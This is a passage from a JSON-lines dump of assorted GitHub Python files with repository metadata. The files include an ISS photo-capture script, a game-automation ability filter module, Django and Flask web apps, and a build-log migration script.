972)\n\n# Initialise the CSV file\ndata_file = base_folder/\"data.csv\"\ncreate_csv_file(data_file)\n\n# Initialise the photo counter\ncounter = 1\n# Record the start and current time\nstart_time = datetime.now()\nnow_time = datetime.now()\n\n\"\"\"\nTODO: FILTER, FREQUENCY, LOCATION\nFilter out certain unnecessary images \n(blue: ocean, lakes, bodies of water, greenery: \nfields, grass, vegetation, black: unclear bad photos, nighttime, white: clouds)\nFrequency of photos, how many photos per how many seconds, \nGps location of where desertification is going to occur depending on the \nlocation of iss in its orbit\nTaking more photos in areas known for desertification\n \"\"\"\n\n# Run a loop for just under 3 hours\nwhile (now_time < start_time + timedelta(minutes=179)):\n try:\n # Get coordinates of location on Earth under the ISS\n location = ISS.coordinates()\n # Save the data to the file\n data = (\n counter,\n datetime.now(),\n location.latitude.degrees,\n location.longitude.degrees,\n )\n add_csv_data(data_file, data)\n # Capture image\n image_file = f\"{base_folder}/photo_{counter:04d}.jpg\"\n capture(cam, image_file)\n # Log event\n logger.info(f\"iteration {counter}\")\n counter += 1\n sleep(30)\n # Update the current time\n now_time = datetime.now()\n except Exception as e:\n logger.error(f'{e.__class__.__name__}: {e}')\n","repo_name":"avaseirafi/Astropi","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"1772444775","text":"# 백준 16165 걸그룹 마스터 준석이\n\nimport sys\ninput = sys.stdin.readline\n\nn, m = map(int, input().split()) # n은 걸그룹 수, m은 퀴즈 수\nteam = {}\n\nfor _ in range(n):\n name = input().rstrip() # 팀 이름 저장\n team[name] = []\n for _ in range(int(input())): # 멤버 이름 저장\n team[name].append(input().rstrip())\n team[name].sort()\n\nfor _ in range(m): # 1: 팀 출력, #0: 멤버 출력\n quiz = input().rstrip()\n num = int(input())\n if num == 1:\n print(''.join([key for key, value in team.items() if quiz in value]))\n else:\n print('\\n'.join(*[value for key, value in team.items() if quiz in key]))","repo_name":"jungyoonoh/unit-study","sub_path":"Seonju/Baekjoon/Data Structure/16165_걸그룹 마스터 준석이.py","file_name":"16165_걸그룹 마스터 준석이.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"73170396942","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 10 19:49:07 2021\n\n@author: hsbbd\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os.path\nfrom os import path\n\ncombined = pd.DataFrame()\n\n\nj = 1\n\nwhile j<11:\n\n filePath = 'C:/Users/hsbbd/OneDrive/Documents/GitHub/UHF-RFID/transition_tracking/salutation_14APR21_'\n filePath = filePath + str(j) + \"/\"\n i=1\n while i<12:\n dataPath = filePath + str(i) +'.csv'\n if path.exists(dataPath): \n data = pd.read_csv(dataPath, header=0)\n data.insert(0, \"activity\", i, True)\n data.insert(0, \"run\", j, True)\n combined = combined.append(data)\n #print(data)\n i+=1\n \n j+=1\n\ncombined.to_csv('C:/Users/hsbbd/OneDrive/Documents/GitHub/UHF-RFID/transition_tracking/combined_1.csv') \n\n#combined['activity'].value_counts().plot(kind='bar', title='Training examples by activity type');\n","repo_name":"caseyhunt/UHF-RFID","sub_path":"file_assembler.py","file_name":"file_assembler.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12859287851","text":"from __future__ import annotations\n\nimport time\nfrom threading import Condition, RLock\nfrom typing import Optional, Union, List, Set, Dict, Callable\n\nfrom rka.eq2.master import IRuntime\nfrom rka.eq2.master.game.ability import AbilityPriority\nfrom rka.eq2.master.game.ability.ability_filter import AbilityFilter\nfrom rka.eq2.master.game.ability.generated_abilities import MysticAbilities\nfrom rka.eq2.master.game.effect import EffectType\nfrom rka.eq2.master.game.engine import logger\nfrom rka.eq2.master.game.engine.task import FilterTask, IAbilityCastingObserver\nfrom rka.eq2.master.game.interfaces import IAbility, IAbilityLocator, IPlayer, TOptionalPlayer, TAbilityFilter, IPlayerSelector\nfrom rka.eq2.shared.flags import MutableFlags\n\n\nclass StopCastingFilter(FilterTask):\n def __init__(self, player: TOptionalPlayer, duration: float):\n FilterTask.__init__(self, filter_cb=AbilityFilter().except_caster_or_none(player),\n description=f'filter: {player} dont cast', duration=duration)\n\n\nclass ControlOnlyFilter(FilterTask):\n def __init__(self, player: Optional[IPlayer], duration: float):\n FilterTask.__init__(self, filter_cb=AbilityFilter().by_min_priority(AbilityPriority.CONTROL, player),\n description=f'filter: {player} only control', duration=duration)\n\n\nclass AbilityGlobalFlagsFilter(FilterTask):\n def __init__(self):\n FilterTask.__init__(self, filter_cb=AbilityGlobalFlagsFilter.condition, description='filter: exclude by global flags', duration=-1.0)\n\n @staticmethod\n def condition(ability: IAbility) -> bool:\n if not MutableFlags.ENABLE_MYSTIC_GRP_WARD:\n if ability.locator == MysticAbilities.umbral_barrier:\n return False\n if not MutableFlags.ENABLE_LOCAL_ABILITIES:\n if ability.player.is_local():\n return False\n return True\n\n\nclass GameStateFilter(FilterTask):\n def __init__(self, runtime: IRuntime):\n self.__runtime = runtime\n FilterTask.__init__(self, filter_cb=self.condition, description='filter: check game states', duration=-1.0)\n\n def condition(self, ability: IAbility) -> bool:\n if not ability.ext.cast_in_combat and self.__runtime.combatstate.is_combat():\n return False\n if ability.shared.enabled_at is None:\n return False\n if ability.shared.enabled_at > 0.0:\n if time.time() < ability.shared.enabled_at:\n return False\n return True\n\n\nclass AbilityCanceller(FilterTask, IAbilityCastingObserver):\n def __init__(self, runtime: IRuntime):\n self.__runtime = runtime\n FilterTask.__init__(self, filter_cb=self.condition, description='filter: expire abilities', duration=-1.0)\n\n # noinspection PyMethodMayBeStatic\n def condition(self, _ability: IAbility) -> bool:\n return True\n\n def notify_casting(self, ability: IAbility):\n if not ability.census.beneficial:\n for ability_to_expire in self.__runtime.ability_reg.find_abilities_expire_on_attack(ability.player):\n ability_to_expire.expire_duration()\n has_stealth = self.__runtime.effects_mgr.apply_effects(effect_type=EffectType.STEALTH, apply_target=ability.player.as_effect_target(), base_value=False)\n if has_stealth:\n effects = self.__runtime.effects_mgr.get_effects(apply_target=ability.player.as_effect_target(), effect_type=EffectType.STEALTH)\n for effect in effects:\n stealth_ability = effect.sustain_source().ability()\n if stealth_ability:\n stealth_ability.expire_duration()\n if ability.ext.move:\n for ability_to_expire in self.__runtime.ability_reg.find_abilities_expire_on_move(ability.player):\n ability_to_expire.expire_duration()\n return True\n\n\nclass ConfirmAbilityCasting(FilterTask, IAbilityCastingObserver):\n def __init__(self, ability: Union[IAbility, IAbilityLocator, TAbilityFilter], duration: float,\n notify_callback: Optional[TAbilityFilter] = None):\n FilterTask.__init__(self, filter_cb=AbilityFilter(), description='filter: block until ability is cast', duration=duration)\n self.__ability = ability\n self.__condition = Condition()\n self.__last_cast_at = 0.0\n self.__monitoring_started_at = time.time()\n self.__notify_callback = notify_callback\n\n def __condition_met(self, ability: IAbility) -> bool:\n if isinstance(self.__ability, IAbilityLocator):\n match = self.__ability == ability.locator\n elif isinstance(self.__ability, IAbility):\n match = self.__ability == ability\n elif isinstance(self.__ability, AbilityFilter):\n match = self.__ability.accept_ability(ability)\n elif isinstance(self.__ability, Callable):\n match = self.__ability(ability)\n else:\n assert False, self.__ability\n return match\n\n def notify_casting(self, ability: IAbility):\n if not self.__condition_met(ability):\n return\n with self.__condition:\n self.__last_cast_at = time.time()\n self.__condition.notify_all()\n if self.__notify_callback:\n keep_notifying = self.__notify_callback(ability)\n if keep_notifying is None:\n logger.error(f'ConfirmAbilityCasting: keep_notifying is None for {self.__ability}')\n if not keep_notifying:\n self.__notify_callback = None\n\n def start_monitoring_now(self):\n self.__monitoring_started_at = time.time()\n\n def wait_for_ability(self, timeout: float) -> bool:\n time_left = timeout\n with self.__condition:\n while time_left > 0.0 and self.__last_cast_at < self.__monitoring_started_at and not self.is_expired():\n condition_wait_start = time.time()\n self.__condition.wait(time_left)\n time_left -= (time.time() - condition_wait_start)\n return self.__last_cast_at >= self.__monitoring_started_at\n\n\nclass ProcessorPlayerSwitcher(FilterTask, IPlayerSelector):\n class PlayerAssignment:\n def __init__(self, player: IPlayer, owner: ProcessorPlayerSwitcher):\n self.__player = player\n self.__owner: ProcessorPlayerSwitcher = owner\n self.__borrow_queue: List[ProcessorPlayerSwitcher] = list()\n\n def __str__(self) -> str:\n holder = self.__borrow_queue[-1] if self.__borrow_queue else self.__owner\n return f'PA:{self.__player}, owner:{self.__owner}, holder:{holder}'\n\n def is_owner(self, switcher: ProcessorPlayerSwitcher) -> bool:\n return self.__owner == switcher\n\n def is_holder(self, switcher: ProcessorPlayerSwitcher) -> bool:\n if self.__borrow_queue:\n return self.__borrow_queue[-1] == switcher\n return self.__owner == switcher\n\n def borrow_for(self, switcher: ProcessorPlayerSwitcher):\n if self in self.__borrow_queue:\n self.__borrow_queue.remove(switcher)\n self.__borrow_queue.append(switcher)\n\n def return_to_owner(self):\n while self.__borrow_queue:\n self.__borrow_queue[-1].return_player(self.__player)\n\n def return_to_previous_holder(self):\n if self.__borrow_queue:\n self.__borrow_queue.pop()\n\n __lock = RLock()\n __n = 0\n __player_assignments: Dict[IPlayer, PlayerAssignment] = dict()\n\n def __init__(self):\n FilterTask.__init__(self, filter_cb=self.ability_filter_condition, description=f'PlayerSwitcher #{ProcessorPlayerSwitcher.__n}', duration=-1.0)\n ProcessorPlayerSwitcher.__n += 1\n self.__disabled_players: Set[IPlayer] = set()\n\n def add_player(self, player: IPlayer) -> bool:\n with ProcessorPlayerSwitcher.__lock:\n if player in ProcessorPlayerSwitcher.__player_assignments:\n pa = ProcessorPlayerSwitcher.__player_assignments[player]\n logger.warn(f'Player already assigned: {pa}')\n return False\n logger.info(f'ProcessorPlayerSwitcher.add_player: {player} to {self}')\n ProcessorPlayerSwitcher.__player_assignments[player] = ProcessorPlayerSwitcher.PlayerAssignment(player, self)\n return True\n\n def remove_player(self, player: IPlayer) -> bool:\n with ProcessorPlayerSwitcher.__lock:\n if player not in ProcessorPlayerSwitcher.__player_assignments:\n logger.warn(f'Player does not exist: {player}')\n return False\n pa = ProcessorPlayerSwitcher.__player_assignments[player]\n if not pa.is_owner(self):\n logger.error(f'Cannot remove from {self}, not owner of {pa}')\n return False\n logger.info(f'ProcessorPlayerSwitcher.remove_player: {player} from {self}')\n pa.return_to_owner()\n if player in self.__disabled_players:\n self.__disabled_players.remove(player)\n del ProcessorPlayerSwitcher.__player_assignments[player]\n return True\n\n def borrow_player(self, player: IPlayer) -> bool:\n with ProcessorPlayerSwitcher.__lock:\n if player not in ProcessorPlayerSwitcher.__player_assignments:\n logger.warn(f'Player does not exist: {player}')\n return False\n logger.info(f'ProcessorPlayerSwitcher.borrow_player: {player} for {self}')\n pa = ProcessorPlayerSwitcher.__player_assignments[player]\n pa.borrow_for(self)\n return True\n\n def return_player(self, player: IPlayer) -> bool:\n with ProcessorPlayerSwitcher.__lock:\n if player not in ProcessorPlayerSwitcher.__player_assignments:\n logger.warn(f'Player does not exist: {player}')\n return False\n pa = ProcessorPlayerSwitcher.__player_assignments[player]\n if not pa.is_holder(self):\n logger.error(f'Cannot return from {self}, not holder of {pa}')\n return False\n logger.info(f'ProcessorPlayerSwitcher.return_player: {player} from {self}')\n pa.return_to_previous_holder()\n if player in self.__disabled_players:\n self.__disabled_players.remove(player)\n return True\n\n def return_all_players(self):\n with ProcessorPlayerSwitcher.__lock:\n for player, pa in ProcessorPlayerSwitcher.__player_assignments.items():\n if pa.is_holder(self):\n self.return_player(player)\n\n def remove_all_players(self):\n with ProcessorPlayerSwitcher.__lock:\n assignments_copy = dict(ProcessorPlayerSwitcher.__player_assignments)\n for player, pa in assignments_copy.items():\n if pa.is_owner(self):\n self.remove_player(player)\n\n def disable_player(self, player: IPlayer):\n with ProcessorPlayerSwitcher.__lock:\n logger.info(f'ProcessorPlayerSwitcher.disable_player: {player} in {self}')\n self.__disabled_players.add(player)\n\n def is_holder_of(self, player: IPlayer, include_disabled: bool) -> bool:\n with ProcessorPlayerSwitcher.__lock:\n if player not in ProcessorPlayerSwitcher.__player_assignments:\n return False\n if not include_disabled and player in self.__disabled_players:\n return False\n pa = ProcessorPlayerSwitcher.__player_assignments[player]\n return pa.is_holder(self)\n\n def get_holding_players(self, include_disabled: bool) -> List[IPlayer]:\n with ProcessorPlayerSwitcher.__lock:\n players = list()\n for player, pa in ProcessorPlayerSwitcher.__player_assignments.items():\n if pa.is_holder(self):\n if include_disabled or player not in self.__disabled_players:\n players.append(player)\n return players\n\n def ability_filter_condition(self, ability: IAbility) -> bool:\n return self.is_holder_of(ability.player, include_disabled=False)\n\n def close_switcher(self):\n self.return_all_players()\n self.remove_all_players()\n\n def resolve_players(self) -> List[IPlayer]:\n return self.get_holding_players(include_disabled=False)\n","repo_name":"npstash/public_rka","sub_path":"rka/eq2/master/game/engine/filter_tasks.py","file_name":"filter_tasks.py","file_ext":"py","file_size_in_byte":12406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74220074701","text":"from django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom csusers.models import CSUser, PlaylistVideo, CSUserPlaylist\nfrom videos.models import Site, Video, Similarity\nfrom django.shortcuts import get_object_or_404\nfrom recommender.managers import RecommenderManager\nimport pdb\nfrom django.db.models import Q\n\nfrom rest_framework import viewsets\nfrom serializers import CSUserSerializer, CSUserPlaylistSerializer\n\nclass CSUserViewSet(viewsets.ModelViewSet):\n queryset = CSUser.objects.all()\n serializer_class = CSUserSerializer \n\nclass CSUserPlaylistViewSet(viewsets.ModelViewSet):\n queryset = CSUserPlaylist.objects.all()\n serializer_class = CSUserPlaylistSerializer \n\ndef get_or_create_user(request):\n try:\n guid = request.GET['guid']\n site_id = request.GET['site_id']\n site = Site.objects.get(id=int(site_id))\n except:\n raise Http404\n try:\n u = CSUser.objects.get(guid=guid)\n return HttpResponseRedirect(\"/users/\"+str(u.id)+\"/\") \n except:\n u = CSUser(guid=guid,site=site)\n pl = CSUserPlaylist()\n pl.save()\n initial_videos = Video.objects.filter(site=site)[:5]\n for v in initial_videos:\n PlaylistVideo.objects.create(playlist=pl,video=v,similarity=0.0)\n u.playlist = pl\n u.save()\n return HttpResponseRedirect(\"/users/\"+str(u.id)+\"/\")\n \ndef create_user(request,site_id):\n # pdb.set_trace()\n site = get_object_or_404(Site, pk=int(site_id)) \n u = CSUser(site=site)\n initial_videos = Video.objects.filter(site=site)[:5]\n pl = CSUserPlaylist()\n pl.save()\n for v in initial_videos:\n PlaylistVideo.objects.create(playlist=pl,video=v,similarity=0.0)\n u.playlist = pl\n u.save()\n \n return HttpResponseRedirect(\"/users/\"+str(u.id)+\"/\") \n\n\ndef playlist(request,user_id):\n u = get_object_or_404(CSUser, pk=user_id)\n pl = get_object_or_404(CSUserPlaylist,id=u.playlist.id)\n return HttpResponseRedirect(\"/playlists/\"+str(pl.id)+\"/\")\n\ndef refresh_playlist(request,user_id):\n # pdb.set_trace()\n u = get_object_or_404(CSUser, pk=user_id)\n pl = get_object_or_404(CSUserPlaylist,id=u.playlist.id)\n pl.videos.clear()\n pl.save()\n \n new_videos = Video.objects.filter(site=u.site)\n new_videos = new_videos.filter(~Q(played_by=u))\n new_videos = new_videos.filter(~Q(skipped_by=u))\n \n count = 0\n rm = RecommenderManager()\n recs = rm.get_content_based_recs(u,new_videos)\n\n added = []\n try:\n for item in recs:\n v = item[1]\n s = item[0]\n PlaylistVideo.objects.create(playlist=pl,video=v,similarity=s)\n added.append(v)\n count = count+1\n if count is 5:\n break\n except:\n pass\n \n for v in new_videos:\n if count < 5:\n if v not in added:\n PlaylistVideo.objects.create(playlist=pl,video=v,similarity=0)\n count = count + 1\n else:\n break\n \n return HttpResponseRedirect(\"/playlists/\"+str(pl.id)+\"/\") \n \ndef played(request,user_id,video_id):\n user = get_object_or_404(CSUser, pk=int(user_id))\n video = get_object_or_404(Video, pk=int(video_id))\n user.last_played = video\n user.plays.add(video)\n user.save()\n return HttpResponse(\"200 OK\")\n \ndef liked(request,user_id,video_id):\n user = get_object_or_404(CSUser, pk=int(user_id))\n video = get_object_or_404(Video, pk=int(video_id))\n try:\n user.likes.add(video)\n user.save()\n except:\n pass\n \n for tag in video.tags.all():\n user.tags.add(tag)\n user.save()\n \n return HttpResponseRedirect(\"/videos/\"+str(video.id)+\"/related/\") \n \ndef skipped(request,user_id,video_id):\n user = get_object_or_404(CSUser, pk=int(user_id))\n video = get_object_or_404(Video, pk=int(video_id))\n try:\n user.skips.add(video)\n user.save()\n except:\n return HttpResponse(\"Failed to save user information.\")\n \n return HttpResponse(\"200 OK\")\n \ndef completed(request,user_id,video_id):\n user = get_object_or_404(CSUser, pk=int(user_id))\n video = get_object_or_404(Video, pk=int(video_id))\n try:\n user.completes.add(video)\n user.save()\n except:\n return HttpResponse(\"Failed to save user information.\")\n \n for tag in video.tags.all():\n user.tags.add(tag)\n user.save()\n\n return HttpResponse(\"200 OK\")\n\n","repo_name":"faizanbhat/surface","sub_path":"csusers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42490380432","text":"from pathlib import Path\nfrom subprocess import Popen, PIPE\nfrom dataclasses import dataclass\nfrom typing import Iterable, Optional\n\n@dataclass\nclass LineCounts:\n language: str\n files: int\n lines_of_code: int\n comments: int\n\n\ndef count_lines(path: Path, exclude_pattern: Optional[str] = None) -> Iterable[LineCounts]:\n if not path.exists():\n raise FileExistsError(\"Path does not exist.\")\n cmd = f'pygount {str(path)} --format=summary --names-to-skip={exclude_pattern}' if exclude_pattern else f'pygount {str(path)} --format=summary'\n proc = Popen(cmd, stdout=PIPE, stderr=PIPE)\n lines = proc.stdout.readlines()\n lines = [line.decode().strip() for line in lines]\n header = lines[0]\n code_lines = lines[2:-2]\n for code_line in code_lines:\n if len(header.split()) == len(code_line.split()) and 'Text' not in code_line:\n stats = {key: val for key, val in zip(header.split(), code_line.split())}\n yield LineCounts(\n language=stats['Language'],\n files=int(stats['Files']),\n lines_of_code=int(stats['Code']),\n comments=int(stats['Comment'])\n )\n","repo_name":"nickdelgrosso/code-stats","sub_path":"code-stats/line_counts.py","file_name":"line_counts.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"38503160216","text":"import math\nimport matplotlib.pyplot as plt\n\n\n\ndef main():\n\t\n\tc = []\n\tc.append(1.128379167)\n\tc.append(1.240906158)\n\tc.append(1.341876534)\n\t\n\tlarge_d = [2*math.pow(math.factorial(d/2),1/d)/math.sqrt(math.pi) for d in range(6,21,2)]\n\tc.extend(large_d)\n\td = [2,3,4]\n\td.extend(list(range(6,21,2)))\n\n\n\tplt.title('the expansion factor c up to d = 20')\n\tplt.xlabel('d')\n\tplt.ylabel('c')\n\tplt.scatter(d, c, color='r')\n\tplt.show()\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"minh-hpham/Data-Mining","sub_path":"Clustering/high_dimension.py","file_name":"high_dimension.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34008234777","text":"#!/usr/bin/python\n\nimport os, sys\n\nif os.geteuid() != 0:\n sys.stderr.write(\"You must be root to run the storage tests; skipping.\\n\")\n # This return code tells the automake test driver that this test was skipped.\n os._exit(77)\n\nfrom cases.bz1014545 import BZ1014545_TestCase\ntc = BZ1014545_TestCase()\nfailures = tc.run()\n\nos._exit(failures)\n","repo_name":"sassoftware/anaconda","sub_path":"tests/storage/run_storage_tests.py","file_name":"run_storage_tests.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"18126232591","text":"import os\n\nimport bleach\nfrom flask import Flask, render_template, redirect, url_for, request, flash\nfrom flask_bootstrap import Bootstrap\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_wtf import FlaskForm\nfrom flask_wtf.csrf import generate_csrf\nfrom wtforms import StringField, SubmitField, HiddenField\nfrom wtforms.validators import DataRequired, URL\nfrom flask_ckeditor import CKEditor, CKEditorField\nfrom datetime import datetime\n\n\ndef create_app():\n app = Flask(__name__)\n app.config['SECRET_KEY'] = os.environ[\"SECRET_KEY\"]\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///posts.db'\n Bootstrap(app)\n return app\n\n\napp = create_app()\ndb = SQLAlchemy(app)\nckeditor = CKEditor(app)\n\n\nclass BlogPost(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(250), unique=True, nullable=False)\n subtitle = db.Column(db.String(250), nullable=False)\n date = db.Column(db.String(250), nullable=False)\n body = db.Column(db.Text, nullable=False)\n author = db.Column(db.String(250), nullable=False)\n img_url = db.Column(db.String(250), nullable=False)\n\n\nwith app.app_context():\n db.create_all()\n\n\nclass CreatePostForm(FlaskForm):\n title = StringField(\"Blog Post Title\", validators=[DataRequired()])\n subtitle = StringField(\"Subtitle\", validators=[DataRequired()])\n author = StringField(\"Your Name\", validators=[DataRequired()])\n img_url = StringField(\"Blog Image URL\", validators=[DataRequired(), URL()])\n body = CKEditorField(\"Blog Content\", validators=[DataRequired()])\n submit = SubmitField(\"Submit Post\")\n csrf_token = HiddenField()\n\n\n@app.route('/')\ndef get_all_posts():\n posts = db.session.execute(db.select(BlogPost)).scalars().all()\n return render_template(\"index.html\", all_posts=posts)\n\n\n@app.route(\"/post/\")\ndef show_post(index):\n requested_post = None\n posts = db.session.execute(db.select(BlogPost)).scalars().all()\n for blog_post in posts:\n if blog_post.id == index:\n requested_post = blog_post\n return render_template(\"post.html\", post=requested_post)\n\n\n@app.route(\"/create/post\", methods=['GET', 'POST'])\ndef create_post():\n form = CreatePostForm(request.form)\n form.csrf_token.data = generate_csrf()\n if request.method == 'POST':\n if form.validate_on_submit():\n allowed_tags = ['b', 'i', 'u', 'a']\n try:\n new_post = BlogPost(\n title=form.title.data,\n subtitle=form.subtitle.data,\n author=form.author.data,\n img_url=form.img_url.data,\n body=bleach.clean(form.body.data, tags=allowed_tags, strip=True),\n date=f\"{datetime.now().strftime('%B')} {datetime.now().day}, {datetime.now().year}\",\n )\n db.session.add(new_post)\n db.session.commit()\n except Exception as e:\n print(f\"An error occurred while trying to create a new post: {e}\")\n return redirect(url_for('get_all_posts'))\n\n return render_template(\"make-post.html\", form=form)\n\n\n@app.route(\"/edit-post/\", methods=['GET', 'POST'])\ndef edit_post(index):\n post = BlogPost.query.filter_by(id=index).first()\n form = CreatePostForm(obj=post)\n if request.method == 'POST':\n if form.validate_on_submit():\n form.populate_obj(post)\n db.session.commit()\n flash(\"Post updated successfully.\")\n return redirect(url_for('get_all_posts'))\n return render_template(\"make-post.html\", form=form, type='edit')\n\n\n@app.route(\"/delete/\", methods=['GET', 'POST'])\ndef delete_post(index):\n post = BlogPost.query.filter_by(id=index).first()\n db.session.delete(post)\n db.session.commit()\n return redirect(url_for('get_all_posts'))\n\n\n@app.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\n\n\n@app.route(\"/contact\")\ndef contact():\n return render_template(\"contact.html\")\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"Kingsolomon445/100-Days-of-Code-Python","sub_path":"day67/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"32272356252","text":"import asyncio\nimport gzip\nimport logging\nimport os\nimport re\nimport sys\nimport urllib.parse\nimport uuid\nfrom contextlib import asynccontextmanager\n\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\n\nimport requests\nfrom sqlalchemy import delete, select\nfrom sqlalchemy.orm import selectinload\n\nfrom alws.config import settings\nfrom alws.dependencies import get_db, get_pulp_db\nfrom alws.models import (\n Build,\n BuildTask,\n BuildTaskArtifact,\n Repository,\n TestTask,\n)\nfrom alws.pulp_models import (\n CoreContent,\n CoreContentArtifact,\n CoreRepositoryContent,\n)\nfrom alws.utils import pulp_client\nfrom alws.utils.file_utils import hash_content\n\nlogging.basicConfig(\n format=\"%(asctime)s %(levelname)-8s %(message)s\",\n level=logging.INFO,\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n handlers=[\n logging.StreamHandler(),\n logging.FileHandler(\"albs-980.log\"),\n ],\n)\n\nlog_regex = re.compile(r'href=\"(?P.+\\.log)\"')\n\n\nasync def main():\n pulp_client.PULP_SEMAPHORE = asyncio.Semaphore(5)\n pulp = pulp_client.PulpClient(\n settings.pulp_host,\n settings.pulp_user,\n settings.pulp_password,\n )\n\n def get_log_names_from_repo(repo: Repository):\n result = {}\n response = requests.get(repo.url)\n response.raise_for_status()\n for line in response.text.splitlines():\n regex_result = log_regex.search(line)\n if not regex_result:\n continue\n log_name = regex_result.group(\"log_name\")\n result[log_name] = urllib.parse.urljoin(repo.url, log_name)\n return result\n\n async def download_log(url: str) -> bytes:\n response = requests.get(url)\n response.raise_for_status()\n return response.content\n\n async def process_old_log(log_name: str, url: str):\n content = await download_log(url)\n try:\n artifact_href, _ = await pulp.upload_file(gzip.compress(content))\n except Exception:\n # in case if we fall with the same artifact checksum\n artifact_href, _ = await pulp.upload_file(\n gzip.compress(\n content + f\"\\n{log_name}\\n\".encode(),\n ),\n )\n log_href = await pulp.create_file(log_name, artifact_href)\n return log_name, log_href\n\n async def safe_delete(href: str):\n # some repositories can be already deleted in pulp\n try:\n await pulp.delete_by_href(href, wait_for_result=True)\n except Exception:\n logging.exception(\n \"Cannot delete entity from pulp by href: %s\",\n href,\n )\n\n async with asynccontextmanager(get_db)() as session:\n with get_pulp_db() as pulp_session:\n builds = (\n (\n await session.execute(\n select(Build)\n .options(\n selectinload(Build.repos),\n selectinload(Build.tasks).selectinload(\n BuildTask.artifacts.and_(\n BuildTaskArtifact.type == \"build_log\",\n BuildTaskArtifact.name.like(\"%.log\"),\n )\n ),\n selectinload(Build.tasks)\n .selectinload(BuildTask.test_tasks)\n .selectinload(TestTask.repository),\n selectinload(Build.tasks)\n .selectinload(BuildTask.test_tasks)\n .selectinload(TestTask.artifacts),\n )\n .order_by(Build.id),\n )\n )\n .scalars()\n .all()\n )\n repo_ids_to_remove = []\n for build in builds:\n logging.info(\"Processing build: %d\", build.id)\n old_build_logs_repos = []\n old_test_logs_repos = []\n log_urls_mapping = {}\n new_build_logs_repo = None\n new_test_logs_repo = None\n build_artifacts = {}\n test_logs = []\n skip = False\n for build_task in build.tasks:\n artifacts = [*build_task.artifacts]\n for test_task in build_task.test_tasks:\n repo_ids_to_remove.append(test_task.repository.id)\n test_logs.append(test_task.repository)\n artifacts.extend(test_task.artifacts)\n build_artifacts.update(\n {artifact.name: artifact for artifact in artifacts}\n )\n\n for repo in build.repos + test_logs:\n if repo.type == \"build_log\":\n old_build_logs_repos.append(repo)\n if repo.type == \"test_log\":\n old_test_logs_repos.append(repo)\n try:\n log_urls_mapping.update(get_log_names_from_repo(repo))\n except Exception:\n skip = True\n logging.exception(\n \"Cannot upload logs from: %s\", repo.url\n )\n\n if skip:\n logging.info(\n \"Cannot upload logs from old repos, skipping build %d\",\n build.id,\n )\n continue\n build.repos = []\n for repo_type, repo_prefix in (\n (\"build_log\", \"build_logs\"),\n (\"test_log\", \"test_logs\"),\n ):\n repo_name = f\"build-{build.id}-{repo_type}\"\n # NOTE: left for debug, because we can't\n # create repo with the same name\n\n # log_repo = await pulp.get_log_repository(repo_name)\n # if log_repo:\n # logging.info(\n # \"\\tRemoving existing new repo: %s\",\n # log_repo[\"name\"],\n # )\n # await safe_delete(log_repo[\"pulp_href\"])\n # log_distr = await pulp.get_log_distro(repo_name)\n # if log_distr:\n # logging.info(\n # \"\\tRemoving existing new distr: %s\",\n # log_distr[\"name\"],\n # )\n # await safe_delete(log_distr[\"pulp_href\"])\n\n logging.info(\"\\tCreating new log repo: %s\", repo_name)\n repo_url, repo_href = await pulp.create_log_repo(\n repo_name,\n distro_path_start=repo_prefix,\n )\n repo = Repository(\n name=repo_name,\n url=repo_url,\n arch=\"log\",\n pulp_href=repo_href,\n type=repo_type,\n debug=False,\n )\n if repo_type == \"build_log\":\n new_build_logs_repo = repo\n else:\n new_test_logs_repo = repo\n build.repos.append(repo)\n\n # we need to update repositories for test_tasks\n for build_task in build.tasks:\n for test_task in build_task.test_tasks:\n test_task.repository = new_test_logs_repo\n\n # download, compress and upload logs\n logging.info(\"\\tProcessing old build/test logs\")\n compressed_logs_mapping = {}\n download_tasks = [\n process_old_log(log_name, url)\n for log_name, url in log_urls_mapping.items()\n if log_name in build_artifacts\n ]\n for coro in asyncio.as_completed(download_tasks):\n log_name, log_href = await coro\n logging.info(\"\\tLog %s is processed\", log_name)\n compressed_logs_mapping[log_name] = log_href\n build_artifacts[log_name].href = log_href\n\n modify_tasks = []\n delete_tasks = []\n delete_distros = []\n for repos in (old_build_logs_repos, old_test_logs_repos):\n if not repos:\n continue\n repo_type = repos[0].type\n pulp_repo_ids, repo_hrefs = [], []\n for repo in repos:\n pulp_repo_ids.append(\n uuid.UUID(repo.pulp_href.split(\"/\")[-2]),\n )\n repo_hrefs.append(repo.pulp_href)\n log_distr = await pulp.get_log_distro(repo.name)\n if log_distr:\n delete_distros.append(\n safe_delete(log_distr[\"pulp_href\"]),\n )\n\n subq = (\n select(CoreRepositoryContent.content_id)\n .where(\n 